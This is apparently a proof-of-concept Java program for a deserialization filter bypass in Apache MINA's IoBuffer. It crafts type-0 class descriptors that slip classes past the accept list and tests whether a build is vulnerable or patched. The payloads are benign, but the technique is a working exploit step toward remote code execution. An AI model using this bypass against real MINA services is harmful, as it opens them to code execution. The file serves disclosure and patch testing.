import org.apache.mina.core.buffer.IoBuffer; import java.io.*; import java.util.*; /** * CVE-2026-42779 — Crafted payload bypass for Serializable classes * * Demonstrates that an attacker can bypass the acceptMatchers filter for * ANY class (including Serializable gadget chain classes) by crafting a * MINA protocol payload that uses type-0 descriptors instead of type-1. * * The attack: type-0 descriptors cause readClassDescriptor() to delegate * to super.readClassDescriptor() (standard Java format). Then resolveClass() * sees forClass()==null and calls Class.forName() WITHOUT checking acceptMatchers. * * This is the practical exploitation path: an attacker with network access * to a MINA endpoint using ObjectSerializationCodecFactory can send a * crafted stream that loads arbitrary classes past the filter, enabling * gadget chain RCE if a suitable library is on the classpath. */ public class CraftedBypassPoC { public static void main(String[] args) throws Exception { System.out.println("=== CVE-2026-42779 — Crafted type-0 descriptor bypass ===\n"); testCraftedSerializableBypass(); testCraftedComplexObjectBypass(); System.out.println("\n[*] Crafted bypass tests completed."); } /** * Craft a MINA protocol payload where Serializable classes use type-0 * descriptors. This forces the null-clazz path in resolveClass(), * bypassing acceptMatchers entirely. */ static byte[] craftPayload(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); // Write the ObjectOutputStream data with type-0 descriptors for ALL classes try (ObjectOutputStream oos = new ObjectOutputStream(baos) { @Override protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException { // ATTACK: write type 0 (non-Serializable path) for ALL classes // This forces the receiver's readClassDescriptor() to delegate to // super.readClassDescriptor(), producing an ObjectStreamClass where // forClass() returns null, which skips the acceptMatchers check. write(0); super.writeClassDescriptor(desc); } }) { oos.writeObject(obj); oos.flush(); } byte[] objData = baos.toByteArray(); // Wrap in MINA's 4-byte-length-prefixed format ByteArrayOutputStream minaStream = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(minaStream); dos.writeInt(objData.length); dos.write(objData); return minaStream.toByteArray(); } /** * Test: Bypass filter for HashMap (Serializable, NOT in accept list). * Normal putObject() would write type-1 and resolveClass() would reject it. * Crafted type-0 payload bypasses the filter entirely. */ static void testCraftedSerializableBypass() throws Exception { System.out.println("[Test 1] Crafted bypass for HashMap (Serializable class)"); System.out.println(" Accept list: [String] only"); System.out.println(" Payload class: HashMap (NOT accepted)"); // Create attacker's payload — a HashMap (not in accept list) HashMap payload = new HashMap<>(); payload.put("attacker", "controlled-data"); payload.put("bypass", "acceptMatchers-filter"); byte[] crafted = craftPayload(payload); System.out.println(" Crafted payload: " + crafted.length + " bytes"); // Victim: IoBuffer with restrictive accept list IoBuffer buf = IoBuffer.allocate(crafted.length); buf.setAutoExpand(true); buf.accept(String.class.getName()); // Only String allowed buf.put(crafted); buf.flip(); try { Object result = buf.getObject(); System.out.println(" [VULNERABLE] Deserialized: " + result); System.out.println(" HashMap loaded past accept filter via type-0 bypass!"); System.out.println(" Attacker data: " + ((HashMap)result).get("attacker")); } catch (ClassNotFoundException e) { System.out.println(" [PATCHED] ClassNotFoundException: " + e.getMessage()); } } /** * Test: Bypass filter for a complex nested object with multiple classes. * Shows that ALL classes in a deep object graph bypass the filter. */ static void testCraftedComplexObjectBypass() throws Exception { System.out.println("\n[Test 2] Crafted bypass for nested object graph"); System.out.println(" Accept list: [String] only"); System.out.println(" Payload: ArrayList>"); ArrayList payload = new ArrayList<>(); HashMap inner = new HashMap<>(); inner.put("timestamp", new Date()); payload.add(inner); payload.add("marker"); byte[] crafted = craftPayload(payload); System.out.println(" Crafted payload: " + crafted.length + " bytes"); IoBuffer buf = IoBuffer.allocate(crafted.length); buf.setAutoExpand(true); buf.accept(String.class.getName()); // Only String allowed buf.put(crafted); buf.flip(); try { Object result = buf.getObject(); @SuppressWarnings("unchecked") ArrayList list = (ArrayList) result; System.out.println(" [VULNERABLE] Deserialized " + list.size() + " items:"); System.out.println(" [0] HashMap: " + list.get(0)); System.out.println(" [1] String: " + list.get(1)); System.out.println(" ALL classes bypassed filter: ArrayList, HashMap, Date, String"); } catch (ClassNotFoundException e) { System.out.println(" [PATCHED] ClassNotFoundException: " + e.getMessage()); } } }